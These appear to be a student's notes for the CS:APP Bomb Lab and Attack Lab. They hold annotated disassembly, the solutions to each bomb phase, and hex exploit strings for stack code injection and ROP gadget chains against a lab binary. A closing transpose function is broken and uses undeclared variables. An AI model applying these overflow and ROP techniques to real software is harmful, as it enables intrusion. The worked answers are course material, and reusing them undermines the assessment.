Bomb 1

0x000000000040104e <+0>: push %rbp

0x000000000040104f <+1>: push %rbx

0x0000000000401050 <+2>: sub $0x28,%rsp

0x0000000000401054 <+6>: mov %rsp,%rsi

0x0000000000401057 <+9>: callq 0x40143c <read\_six\_numbers>

0x000000000040105c <+14>: cmpl $0x1,(%rsp) //compare value at rsp (top of stack) to 1

0x0000000000401060 <+18>: jne 0x401069 <phase\_2+27> //jmp to explode\_bomb if not equal or not 0

0x0000000000401062 <+20>: cmpl $0x2,0x4(%rsp) //compare (value of rsp) + 4 to 2 (which should b rbp?) to 2

0x0000000000401067 <+25>: je 0x40106e <phase\_2+32> //if equal/0 jump to mov

0x0000000000401069 <+27>: callq 0x401406 <explode\_bomb>

0x000000000040106e <+32>: mov %rsp,%rbp // rbp = rsp now which is 1?

0x0000000000401071 <+35>: lea 0x8(%rsp),%rbx //move 3rd input move into rbx

0x0000000000401076 <+40>: add $0x18,%rbp //%rbp + 18 =

0x000000000040107a <+44>: mov -0x4(%rbx),%eax //eax = 2nd input = 2 START OF LOOP

0x000000000040107d <+47>: add -0x8(%rbx),%eax//eax = 1st input + eax = 1 + 2,

0x0000000000401080 <+50>: cmp %eax,(%rbx) //check if same check if rbx = 3?

0x0000000000401082 <+52>: je 0x401089 <phase\_2+59> //if equal skip

0x0000000000401084 <+54>: callq 0x401406 <explode\_bomb>

0x0000000000401089 <+59>: add $0x4,%rbx //rbx+4 increment? = 4th input

0x000000000040108d <+63>: cmp %rbp,%rbx //checks if rbp and rbx r equal

0x0000000000401090 <+66>: jne 0x40107a <phase\_2+44> //where it loops back up

0x0000000000401092 <+68>: add $0x28,%rsp

0x0000000000401096 <+72>: pop %rbx

0x0000000000401097 <+73>: pop %rbp

0x0000000000401098 <+74>: retq

0x0000000000401166 <+0>: sub $0x18,%rsp

0x000000000040116a <+4>: lea 0x8(%rsp),%rcx //move 2rd input into rcx

0x000000000040116f <+9>: lea 0xc(%rsp),%rdx //more 1th input into rdx?

0x0000000000401174 <+14>: mov $0x4024ac,%esi //move string?? Into esi = “%d %d”

Bomb 2

0x0000000000401179 <+19>: mov $0x0,%eax //eax = 0

0x000000000040117e <+24>: callq 0x400ac8 <\_\_isoc99\_sscanf@plt> //puts smth in eax?

0x0000000000401183 <+29>: cmp $0x1,%eax

0x0000000000401186 <+32>: jg 0x40118d <phase\_3+39> //if eax is greater than 1?

0x0000000000401188 <+34>: callq 0x401406 <explode\_bomb>

0x000000000040118d <+39>: cmpl $0x7,0xc(%rsp) //7 and 6th input /rdx or first?

0x0000000000401192 <+44>: ja 0x4011d7 <phase\_3+113> //if above explode

0x0000000000401194 <+46>: mov 0xc(%rsp),%eax //eax = rsp

0x0000000000401198 <+50>: jmpq \*0x4023e0(,%rax,8) //rax\*8 + that address

0x000000000040119f <+57>: mov $0x2ea,%eax //1

0x00000000004011a4 <+62>: jmp 0x4011e1 <phase\_3+123>

0x00000000004011a6 <+64>: mov $0x35d,%eax //2

0x00000000004011ab <+69>: jmp 0x4011e1 <phase\_3+123>

0x00000000004011ad <+71>: mov $0x136,%eax //3

0x00000000004011b2 <+76>: jmp 0x4011e1 <phase\_3+123>

0x00000000004011b4 <+78>: mov $0x3a1,%eax //4

0x00000000004011b9 <+83>: jmp 0x4011e1 <phase\_3+123>

0x00000000004011bb <+85>: mov $0x1fc,%eax //5

0x00000000004011c0 <+90>: jmp 0x4011e1 <phase\_3+123>

0x00000000004011c2 <+92>: mov $0x3a8,%eax //6

0x00000000004011c7 <+97>: jmp 0x4011e1 <phase\_3+123>

0x00000000004011c9 <+99>: mov $0x21f,%eax //7

0x00000000004011ce <+104>: jmp 0x4011e1 <phase\_3+123>

0x00000000004011d0 <+106>: mov $0x208,%eax //8n

0x00000000004011d5 <+111>: jmp 0x4011e1 <phase\_3+123>

0x00000000004011d7 <+113>: callq 0x401406 <explode\_bomb>

0x00000000004011dc <+118>: mov $0x0,%eax

0x00000000004011e1 <+123>: cmp 0x8(%rsp),%eax //jumps here

0x00000000004011e5 <+127>: je 0x4011ec <phase\_3+134> //if equal then we pass

0x00000000004011e7 <+129>: callq 0x401406 <explode\_bomb>

0x00000000004011ec <+134>: add $0x18,%rsp

0x00000000004011f0 <+138>: retq

Bomb 3

=> 0x0000000000401113 <+0>: sub $0x18,%rsp

0x0000000000401117 <+4>: lea 0xc(%rsp),%rcx //2nd

0x000000000040111c <+9>: lea 0x8(%rsp),%rdx //1st

0x0000000000401121 <+14>: mov $0x4024ac,%esi “%d %d”

0x0000000000401126 <+19>: mov $0x0,%eax

0x000000000040112b <+24>: callq 0x400ac8 <\_\_isoc99\_sscanf@plt>

0x0000000000401130 <+29>: cmp $0x2,%eax // # of inpts not equal to 2 explode

0x0000000000401133 <+32>: jne 0x401143 <phase\_4+48>

0x0000000000401135 <+34>: mov 0xc(%rsp),%eax //2nd input = eax

0x0000000000401139 <+38>: cmp $0x1,%eax //cmp to 1

0x000000000040113c <+41>: jle 0x401143 <phase\_4+48> //less than or equal to 1 explode

0x000000000040113e <+43>: cmp $0x4,%eax

0x0000000000401141 <+46>: jle 0x401148 <phase\_4+53> //less than or qual to 4 = cont

0x0000000000401143 <+48>: callq 0x401406 <explode\_bomb>

0x0000000000401148 <+53>: mov 0xc(%rsp),%esi //esi is 2nd inpjut = 2nd parameter

0x000000000040114c <+57>: mov $0x9,%edi //edi = 9 (1st paramenter)

0x0000000000401151 <+62>: callq 0x400e70 <func4>

0x0000000000401156 <+67>: cmp 0x8(%rsp),%eax //cmp return of function to 2nd

0x000000000040115a <+71>: je 0x401161 <phase\_4+78> //have to be equal

0x000000000040115c <+73>: callq 0x401406 <explode\_bomb>unti

0x0000000000401161 <+78>: add $0x18,%rsp

0x0000000000401165 <+82>: retq

Func4

0x0000000000400e70 <+0>: mov %rbx,-0x18(%rsp)

0x0000000000400e75 <+5>: mov %rbp,-0x10(%rsp)

0x0000000000400e7a <+10>: mov %r12,-0x8(%rsp)

0x0000000000400e7f <+15>: sub $0x18,%rsp

0x0000000000400e83 <+19>: mov %edi,%ebx

0x0000000000400e85 <+21>: mov %esi,%ebp

0x0000000000400e87 <+23>: test %edi,%edi

0x0000000000400e89 <+25>: jg 0x400e92 <func4+34>

0x0000000000400e8b <+27>: mov $0x0,%ebp

0x0000000000400e90 <+32>: jmp 0x400eb2 <func4+66>

0x0000000000400e92 <+34>: cmp $0x1,%edi

0x0000000000400e95 <+37>: je 0x400eb2 <func4+66>

0x0000000000400e97 <+39>: lea -0x1(%rbx),%edi

0x0000000000400e9a <+42>: callq 0x400e70 <func4>

0x0000000000400e9f <+47>: mov %eax,%r12d

0x0000000000400ea2 <+50>: lea -0x2(%rbx),%edi

0x0000000000400ea5 <+53>: mov %ebp,%esi

0x0000000000400ea7 <+55>: callq 0x400e70 <func4>

0x0000000000400eac <+60>: add %eax,%r12d

0x0000000000400eaf <+63>: add %r12d,%ebp

0x0000000000400eb2 <+66>: mov %ebp,%eax

0x0000000000400eb4 <+68>: mov (%rsp),%rbx

---Type <return> to continue, or q <return> to quit---

0x0000000000400eb8 <+72>: mov 0x8(%rsp),%rbp

0x0000000000400ebd <+77>: mov 0x10(%rsp),%r12

0x0000000000400ec2 <+82>: add $0x18,%rsp

0x0000000000400ec6 <+86>: retq

RECURSION BUT U DON’T HV TO GO THRU IT???

Bomb 4

0x0000000000401099 <+0>: push %rbx

0x000000000040109a <+1>: sub $0x10,%rsp

0x000000000040109e <+5>: mov %rdi,%rbx //rbx = ruhroh

0x00000000004010a1 <+8>: callq 0x401200 <string\_length>

0x00000000004010a6 <+13>: cmp $0x6,%eax //string must be 6 long

0x00000000004010a9 <+16>: je 0x4010b0 <phase\_5+23>

0x00000000004010ab <+18>: callq 0x401406 <explode\_bomb>

0x00000000004010b0 <+23>: mov %rsp,%rax //rax = rsp

0x00000000004010b3 <+26>: lea 0x6(%rbx),%rsi //rsi = mpty space after input

0x00000000004010b7 <+30>: mov $0x402420,%edx //maduiersnfotvbylInvalid phase%s\n

0x00000000004010bc <+35>: movsbq (%rbx),%rcx //rcx = sign-extend rbx = ruhroh LOOP

0x00000000004010c0 <+39>: and $0xf,%ecx //ecx = ecx + 15 (last byte of ecx?)

0x00000000004010c3 <+42>: movzbl (%rdx,%rcx,1),%ecx //ecx = rdx + rcx zero extend from byte to long

0x00000000004010c7 <+46>: mov %cl,(%rax) //rax = cl? Whi ch is ?

0x00000000004010c9 <+48>: add $0x1,%rbx //rbx+=1 //cut off first char?

0x00000000004010cd <+52>: add $0x1,%rax //rax +=1 cut off first?

0x00000000004010d1 <+56>: cmp %rsi,%rbx //

0x00000000004010d4 <+59>: jne 0x4010bc <phase\_5+35> //loop if not equal?

0x00000000004010d6 <+61>: movb $0x0,0x6(%rsp)

0x00000000004010db <+66>: mov %rsp,%rdi

0x00000000004010de <+69>: mov $0x4023d2,%esi

0x00000000004010e3 <+74>: callq 0x40121c <strings\_not\_equal>

0x00000000004010e8 <+79>: test %eax,%eax

0x00000000004010ea <+81>: je 0x4010f1 <phase\_5+88>

0x00000000004010ec <+83>: callq 0x401406 <explode\_bomb>

0x00000000004010f1 <+88>: add $0x10,%rsp

0x00000000004010f5 <+92>: pop %rbx

0x00000000004010f6 <+93>: retq

|  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| a | b | c | d | e | f | g | h | i | j | k | l | m | n | o | p |
| a |  |  |  | e | r | s |  |  |  |  |  | b |  | l | m |

|  |  |  |  |  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| q | r | s | t | u | v | w | x | y | z |
| a | d | u | i | e | r | s | n | f | o |

Gamfeg = sabres

yoapeg = flames

Bomb 5

0x0000000000400f53 <+0>: push %r12

0x0000000000400f55 <+2>: push %rbp

0x0000000000400f56 <+3>: push %rbx

0x0000000000400f57 <+4>: sub $0x50,%rsp

0x0000000000400f5b <+8>: lea 0x30(%rsp),%rbp

0x0000000000400f60 <+13>: mov %rbp,%rsi

0x0000000000400f63 <+16>: callq 0x40143c <read\_six\_numbers>

0x0000000000400f68 <+21>: mov $0x0,%r12d

0x0000000000400f6e <+27>: mov 0x0(%rbp),%eax

0x0000000000400f71 <+30>: sub $0x1,%eax

0x0000000000400f74 <+33>: cmp $0x5,%eax

0x0000000000400f77 <+36>: jbe 0x400f7e <phase\_6+43>

0x0000000000400f79 <+38>: callq 0x401406 <explode\_bomb>

0x0000000000400f7e <+43>: add $0x1,%r12d

0x0000000000400f82 <+47>: cmp $0x6,%r12d

0x0000000000400f86 <+51>: je 0x400faa <phase\_6+87>

0x0000000000400f88 <+53>: mov %r12d,%ebx

0x0000000000400f8b <+56>: movslq %ebx,%rax

0x0000000000400f8e <+59>: mov 0x0(%rbp),%edx

0x0000000000400f91 <+62>: cmp 0x30(%rsp,%rax,4),%edx

0x0000000000400f95 <+66>: jne 0x400f9c <phase\_6+73>

0x0000000000400f97 <+68>: callq 0x401406 <explode\_bomb>

0x0000000000400f9c <+73>: add $0x1,%ebx

0x0000000000400f9f <+76>: cmp $0x5,%ebx

0x0000000000400fa2 <+79>: jle 0x400f8b <phase\_6+56>

0x0000000000400fa4 <+81>: add $0x4,%rbp

0x0000000000400fa8 <+85>: jmp 0x400f6e <phase\_6+27>

0x0000000000400faa <+87>: mov $0x0,%ebx

0x0000000000400faf <+92>: lea 0x30(%rsp),%r8

0x0000000000400fb4 <+97>: mov $0x1,%ebp

0x0000000000400fb9 <+102>: mov $0x603750,%esi

0x0000000000400fbe <+107>: mov %rsp,%rdi

0x0000000000400fc1 <+110>: jmp 0x400fdc <phase\_6+137>

0x0000000000400fc3 <+112>: mov 0x8(%rdx),%rdx

0x0000000000400fc7 <+116>: add $0x1,%eax

0x0000000000400fca <+119>: cmp %ecx,%eax

0x0000000000400fcc <+121>: jne 0x400fc3 <phase\_6+112>

0x0000000000400fce <+123>: mov %rdx,(%rdi,%rbx,2)

0x0000000000400fd2 <+127>: add $0x4,%rbx

0x0000000000400fd6 <+131>: cmp $0x18,%rbx

0x0000000000400fda <+135>: je 0x400fec <phase\_6+153>

0x0000000000400fdc <+137>: mov (%r8,%rbx,1),%ecx

---Type <return> to continue, or q <return> to quit---

0x0000000000400fe0 <+141>: mov %ebp,%eax

0x0000000000400fe2 <+143>: mov %rsi,%rdx

0x0000000000400fe5 <+146>: cmp $0x1,%ecx

0x0000000000400fe8 <+149>: jg 0x400fc3 <phase\_6+112>

0x0000000000400fea <+151>: jmp 0x400fce <phase\_6+123>

0x0000000000400fec <+153>: mov (%rsp),%rbx

0x0000000000400ff0 <+157>: mov 0x8(%rsp),%rax

0x0000000000400ff5 <+162>: mov %rax,0x8(%rbx)

0x0000000000400ff9 <+166>: mov 0x10(%rsp),%rdx

0x0000000000400ffe <+171>: mov %rdx,0x8(%rax)

0x0000000000401002 <+175>: mov 0x18(%rsp),%rax

0x0000000000401007 <+180>: mov %rax,0x8(%rdx)

0x000000000040100b <+184>: mov 0x20(%rsp),%rdx

0x0000000000401010 <+189>: mov %rdx,0x8(%rax)

0x0000000000401014 <+193>: mov 0x28(%rsp),%rax

0x0000000000401019 <+198>: mov %rax,0x8(%rdx)

0x000000000040101d <+202>: movq $0x0,0x8(%rax)

0x0000000000401025 <+210>: mov $0x0,%ebp

0x000000000040102a <+215>: mov 0x8(%rbx),%rax

0x000000000040102e <+219>: mov (%rbx),%edx

0x0000000000401030 <+221>: cmp (%rax),%edx

0x0000000000401032 <+223>: jge 0x401039 <phase\_6+230>

0x0000000000401034 <+225>: callq 0x401406 <explode\_bomb>

0x0000000000401039 <+230>: mov 0x8(%rbx),%rbx

0x000000000040103d <+234>: add $0x1,%ebp

0x0000000000401040 <+237>: cmp $0x5,%ebp

0x0000000000401043 <+240>: jne 0x40102a <phase\_6+215>

0x0000000000401045 <+242>: add $0x50,%rsp

0x0000000000401049 <+246>: pop %rbx

0x000000000040104a <+247>: pop %rbp

0x000000000040104b <+248>: pop %r12

0x000000000040104d <+250>: retq

(gdb) x /3x 0x603750 //the thing comved into esi

0x603750 <node1>: 0x00000278 0x00000001 0x00603740

(gdb) x /3x 0x00603740

0x603740 <node2>: 0x0000012b 0x00000002 0x00603730

(gdb) x /3x 0x00603730

0x603730 <node3>: 0x000001cf 0x00000003 0x00603720

(gdb) x /3x 0x00603720

0x603720 <node4>: 0x0000033d 0x00000004 0x00603710

(gdb) x /3x 0x00603710

0x603710 <node5>: 0x000001dc 0x00000005 0x00603700

(gdb) x /3x 0x00603700

0x603700 <node6>: 0x00000315 0x00000006 0x00000000

Biggest to smallest: 4 6 1 5 3 2

Secret phase

=> 0x0000000000400f03 <+0>: push %rbx

0x0000000000400f04 <+1>: callq 0x4014fc <read\_line> //reads input

0x0000000000400f09 <+6>: mov $0xa,%edx //edx = 10

0x0000000000400f0e <+11>: mov $0x0,%esi //esi = 0

0x0000000000400f13 <+16>: mov %rax,%rdi //rdi = input

0x0000000000400f16 <+19>: callq 0x400b78 <strtol@plt> //convert from string to long in

0x0000000000400f1b <+24>: mov %eax,%ebx //ebx = eax result of the convcersion 0x32?

0x0000000000400f1d <+26>: lea -0x1(%rbx),%eax //0x31?

0x0000000000400f20 <+29>: cmp $0x3e8,%eax //jump if below or equal? yesni

0x0000000000400f25 <+34>: jbe 0x400f2c <secret\_phase+41>

0x0000000000400f27 <+36>: callq 0x401406 <explode\_bomb>

0x0000000000400f2c <+41>: mov %ebx,%esi //0x32 = esi

0x0000000000400f2e <+43>: mov $0x603920,%edi //0x603920 <n1>: "$"

0x0000000000400f33 <+48>: callq 0x400ec7 <fun7>

0x0000000000400f38 <+53>: cmp $0x1,%eax

0x0000000000400f3b <+56>: je 0x400f42 <secret\_phase+63> //should equal 1

0x0000000000400f3d <+58>: callq 0x401406 <explode\_bomb>

0x0000000000400f42 <+63>: mov $0x402380,%edi

0x0000000000400f47 <+68>: callq 0x400ab8 <puts@plt>

0x0000000000400f4c <+73>: callq 0x401351 <phase\_defused>

0x0000000000400f51 <+78>: pop %rbx

0x0000000000400f52 <+79>: retq

For NASA, space is still a high priority.

1 2 3 5 8 13 AustinPowers

1 746

264 3

yoapeg

4 6 1 5 3 2

50

-~\* Level 1 \*~-

1 void test()

2 {

3 int val;

4 val = getbuf();

5 printf("No exploit. Getbuf returned 0x%x\n", val);

6 }

00000000004019c8 <test>:

4019c8: 48 83 ec 08 sub $0x8,%rsp

4019cc: b8 00 00 00 00 mov $0x0,%eax

4019d1: e8 76 fe ff ff callq 40184c <getbuf>

4019d6: 89 c6 mov %eax,%esi

4019d8: bf b8 30 40 00 mov $0x4030b8,%edi

4019dd: b8 00 00 00 00 mov $0x0,%eax

4019e2: e8 99 f2 ff ff callq 400c80 <printf@plt>

4019e7: 48 83 c4 08 add $0x8,%rsp

4019eb: c3 retq

4019ec: 0f 1f 40 00 nopl 0x0(%rax)

000000000040184c <getbuf>:

40184c: 48 83 ec 18 sub $0x18,%rsp

401850: 48 89 e7 mov %rsp,%rdi

401853: e8 32 02 00 00 callq 401a8a <Gets>

401858: b8 01 00 00 00 mov $0x1,%eax

40185d: 48 83 c4 18 add $0x18,%rsp

401861: c3 retq

401862: 66 90 xchg %ax,%ax

0000000000401864 <touch1>:

401864: 48 83 ec 08 sub $0x8,%rsp

401868: c7 05 8a 2c 20 00 01 movl $0x1,0x202c8a(%rip) # 6044fc <vlevel>

40186f: 00 00 00

401872: bf f2 2f 40 00 mov $0x402ff2,%edi

401877: e8 d4 f3 ff ff callq 400c50 <puts@plt>

40187c: bf 01 00 00 00 mov $0x1,%edi

401881: e8 f3 03 00 00 callq 401c79 <validate>

401886: bf 00 00 00 00 mov $0x0,%edi

40188b: e8 60 f5 ff ff callq 400df0 <exit@plt>

1 void touch1()

2 {

3 vlevel = 1; /\* Part of validation protocol \*/

4 printf("Touch1!: You called touch1()\n");

5 validate(1);

6 exit(0);

7 }

00 00 00 00 00 00 00 00 //padding

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

64 18 40 00 00 00 00 00 //adr of touch1

-~\* Level 2 \*~-

0000000000401890 <touch2>:

401890: 48 83 ec 08 sub $0x8,%rsp

401894: 89 fe mov %edi,%esi

401896: c7 05 5c 2c 20 00 02 movl $0x2,0x202c5c(%rip) # 6044fc <vlevel>

40189d: 00 00 00

4018a0: 3b 3d 5e 2c 20 00 cmp 0x202c5e(%rip), %edi # 604504 <cookie>

4018a6: 75 1b jne 4018c3 <touch2+0x33>

4018a8: bf 18 30 40 00 mov $0x403018,%edi

4018ad: b8 00 00 00 00 mov $0x0,%eax

4018b2: e8 c9 f3 ff ff callq 400c80 <printf@plt>

4018b7: bf 02 00 00 00 mov $0x2,%edi

4018bc: e8 b8 03 00 00 callq 401c79 <validate>

4018c1: eb 19 jmp 4018dc <touch2+0x4c>

4018c3: bf 40 30 40 00 mov $0x403040,%edi

4018c8: b8 00 00 00 00 mov $0x0,%eax

4018cd: e8 ae f3 ff ff callq 400c80 <printf@plt>

4018d2: bf 02 00 00 00 mov $0x2,%edi

4018d7: e8 4f 04 00 00 callq 401d2b <fail>

4018dc: bf 00 00 00 00 mov $0x0,%edi

4018e1: e8 0a f5 ff ff callq 400df0 <exit@plt>

1 void touch2(unsigned val)

2 {

3 vlevel = 2; /\* Part of validation protocol \*/

4 if (val == cookie) {

5 printf("Touch2!: You called touch2(0x%.8x)\n", val);

6 validate(2);

7 } else {

8 printf("Misfire: You called touch2(0x%.8x)\n", val);

9 fail(2);

10 }

11 exit(0);

12 }

Cookie 0x60b17d14

48 c7 c7 14 7d b1 60 c3 //input allocated area, code to mov cookie into reg

00 00 00 00 00 00 00 00 //padding

00 00 00 00 00 00 00 00

a8 56 65 55 00 00 00 00 //adr of rsp/code

90 18 40 00 00 00 00 00 //adr of touch 2

rsp: 0x556556a8

Stack grows down (addresses decrease)

0x556556c0 address of touch 2

0x556556b8 address of code

0x556556b0 padding

paadding

0x55 65 56 a8 code

-~\* Level 3 \*~-

cookie is in ascii

each char of cookie has to correspond to some hex value

e.g. have a, write 61

do move thing

find place to put address of code

find place on stack

disassembly

padding

address of code to put in

address of touch 3

hex representation of cookie

1 /\* Compare string to hex represention of unsigned value \*/

2 int hexmatch(unsigned val, char \*sval)

3 {

4 char cbuf[110];

5 /\* Make position of check string unpredictable \*/

6 char \*s = cbuf + random() % 100;

7 sprintf(s, "%.8x", val);

8 return strncmp(sval, s, 9) == 0;

9 }

0000000000400c30 <strncmp@plt>:

400c30: ff 25 fa 33 20 00 jmpq \*0x2033fa(%rip) # 604030 <\_GLOBAL\_OFFSET\_TABLE\_+0x30>

400c36: 68 03 00 00 00 pushq $0x3

400c3b: e9 b0 ff ff ff jmpq 400bf0 <\_init+0x28>

00000000004018e6 <hexmatch>:

4018e6: 41 54 push %r12

4018e8: 55 push %rbp

4018e9: 53 push %rbx

4018ea: 48 83 ec 70 sub $0x70,%rsp

4018ee: 41 89 fc mov %edi,%r12d

4018f1: 48 89 f5 mov %rsi,%rbp

4018f4: e8 57 f4 ff ff callq 400d50 <random@plt>

4018f9: 48 89 c1 mov %rax,%rcx

4018fc: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx

401903: 0a d7 a3

401906: 48 f7 ea imul %rdx

401909: 48 8d 04 0a lea (%rdx,%rcx,1),%rax

40190d: 48 c1 f8 06 sar $0x6,%rax

401911: 48 89 ce mov %rcx,%rsi

401914: 48 c1 fe 3f sar $0x3f,%rsi

401918: 48 29 f0 sub %rsi,%rax

40191b: 48 8d 04 80 lea (%rax,%rax,4),%rax

40191f: 48 8d 04 80 lea (%rax,%rax,4),%rax

401923: 48 c1 e0 02 shl $0x2,%rax

401927: 48 29 c1 sub %rax,%rcx

40192a: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx

40192e: 44 89 e2 mov %r12d,%edx

401931: be 0f 30 40 00 mov $0x40300f,%esi

401936: 48 89 df mov %rbx,%rdi

401939: b8 00 00 00 00 mov $0x0,%eax

40193e: e8 9d f4 ff ff callq 400de0 <sprintf@plt>

401943: ba 09 00 00 00 mov $0x9,%edx

401948: 48 89 de mov %rbx,%rsi

40194b: 48 89 ef mov %rbp,%rdi

40194e: e8 dd f2 ff ff callq 400c30 <strncmp@plt>

401953: 85 c0 test %eax,%eax

401955: 0f 94 c0 sete %al

401958: 0f b6 c0 movzbl %al,%eax

40195b: 48 83 c4 70 add $0x70,%rsp

40195f: 5b pop %rbx

401960: 5d pop %rbp

401961: 41 5c pop %r12

401963: c3 retq

0000000000401964 <touch3>:

401964: 53 push %rbx

401965: 48 89 fb mov %rdi,%rbx

401968: c7 05 8a 2b 20 00 03 movl $0x3,0x202b8a(%rip) # 6044fc <vlevel>

40196f: 00 00 00

401972: 48 89 fe mov %rdi,%rsi

401975: 8b 3d 89 2b 20 00 mov 0x202b89(%rip),%edi # 604504 <cookie>

40197b: e8 66 ff ff ff callq 4018e6 <hexmatch>

401980: 85 c0 test %eax,%eax

401982: 74 1e je 4019a2 <touch3+0x3e>

401984: 48 89 de mov %rbx,%rsi

401987: bf 68 30 40 00 mov $0x403068,%edi //Touch3! you called touch3

40198c: b8 00 00 00 00 mov $0x0,%eax

401991: e8 ea f2 ff ff callq 400c80 <printf@plt>

401996: bf 03 00 00 00 mov $0x3,%edi

40199b: e8 d9 02 00 00 callq 401c79 <validate>

4019a0: eb 1c jmp 4019be <touch3+0x5a>

4019a2: 48 89 de mov %rbx,%rsi

4019a5: bf 90 30 40 00 mov $0x403090,%edigdb //misfire

4019aa: b8 00 00 00 00 mov $0x0,%eax

4019af: e8 cc f2 ff ff callq 400c80 <printf@plt>

4019b4: bf 03 00 00 00 mov $0x3,%edi

4019b9: e8 6d 03 00 00 callq 401d2b <fail>

4019be: bf 00 00 00 00 mov $0x0,%edi

4019c3: e8 28 f4 ff ff callq 400df0 <exit@plt>

48 c7 c7 d0 56 65 55 c3 //disassembly mov $(address we put ascii representation of cookie) to rdi

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 //padding

a8 56 65 55 00 00 00 00 //address of rsp/code/disassembly

64 19 40 00 00 00 00 00 //address of touch 3

36 30 62 31 37 64 31 34 //ascii hexrepresentation of cookie

Cookie 0x60b17d14

36 30 62 31 37 64 31 34

d0 //hex representation of cookie

c8 //address of touch3

c0 //address of rsp/code

b8

b0 //padding

556556a8 //injected code

1 void touch3(char \*sval)

2 {

3 vlevel = 3; /\* Part of validation protocol \*/

4 if (hexmatch(cookie, sval)) {

printf("Touch3!: You called touch3(\"%s\")\n", sval);

6 validate(3);

7 } else {

8 printf("Misfire: You called touch3(\"%s\")\n", sval);

9 fail(3);

10 }

11 exit(0);

12 }

-~\* Level 4 \*~-

Cookie 0x60b17d14

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 //padding

fb 19 40 00 00 00 00 00 //gadget 1

14 7d b1 60 00 00 00 00 //cookie, value to pop

09 1a 40 00 00 00 00 00 //gadget 2

90 18 40 00 00 00 00 00 //touch2 address

pop rax //58 c3

ret

mov rax, rdi //48 89 c7 c3

ret

0x4019f9+2

0x401a07+2

-~\* Level 5 \*~-

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 //padding

fb 19 40 00 00 00 00 00 //

40 00 00 00 00 00 00 00 //offset to add to rsp

cb 1a 40 00 00 00 00 00

96 1a 40 00 00 00 00 00

40 1a 40 00 00 00 00 00

e0 1a 40 00 00 00 00 00

0e 1a 40 00 00 00 00 00

2c 1a 40 00 00 00 00 00

0e 1a 40 00 00 00 00 00

64 19 40 00 00 00 00 00 //address of touch 3

36 30 62 31 37 64 31 34 //ascii hexrepresentation of cookie

708 //hex representation of cookie

700 //gadget 8

f8 //gadget 7

f0 //gadget 6

e8 //gadget 5

e0 //gadget 4

d8 //gadget 3

d0 //gadget 2

c8 //value to add to rsp to get to hex rep of cookie

c0 //gadget 1

b8 //padding

b0 //padding

556556a8 //padding //rsp

//pop rax

//58

//0x4019fb

00000000004019f9 <setval\_327>:

4019f9: c7 07 58 90 90 90 movl $0x90909058,(%rdi)

4019ff: c3 retq

//offset to add to rsp

//0x40

//mv eax -> ecx

//89 c1

//0x401acb

0000000000401ac9 <addval\_482>:

401ac9: 8d 87 89 c1 90 90 lea -0x6f6f3e77(%rdi),%eax

401acf: c3 retq

//mv ecx -> edx

//89 ca

//0x401a96

0000000000401a93 <setval\_464>:

401a93: c7 07 d5 89 ca 90 movl $0x90ca89d5,(%rdi)

401a99: c3 retq

//mv edx -> esi

//89 d6

//0x401a40

//includes instruction for testing dl and dl

0000000000401a3e <setval\_162>:

401a3e: c7 07 89 d6 84 d2 movl $0xd284d689,(%rdi)

401a44: c3 retq

//mv rsp -> rax

//48 89 e0

//0x401ae0

0000000000401ade <addval\_340>:

401ade: 8d 87 48 89 e0 c3 lea -0x3c1f76b8(%rdi),%eax

401ae4: c3 retq

//mv rax -> rdi

//48 89 c7

//0x401a0e

0000000000401a0d <getval\_173>:

401a0d: b8 48 89 c7 c3 mov $0xc3c78948,%eax

401a12: c3 retq

//add rdi + rsi -> rax

//0x401a2c

0000000000401a2c <add\_xy>:

401a2c: 48 8d 04 37 lea (%rdi,%rsi,1),%rax

401a30: c3 retq

//mv rax -> rdi

//48 89 c7

//0x401a0e

0000000000401a0d <getval\_173>:

401a0d: b8 48 89 c7 c3 mov $0xc3c78948,%eax

401a12: c3 retq

void transpose(int \*dst, int \*src, int dim)

{

int sect = 8;

for(int i = 0; i < dim; i += sect)

for(int j = 0; j < dim; j += sect)

for(int ik = i; (ni < i + sect) && (ni < dim); ni++)

for(int jk = j; (nj < j + sect) && (nj < dim); nj++)

dst[nj\*dim + ni] = src[ni\*dim + nj];

}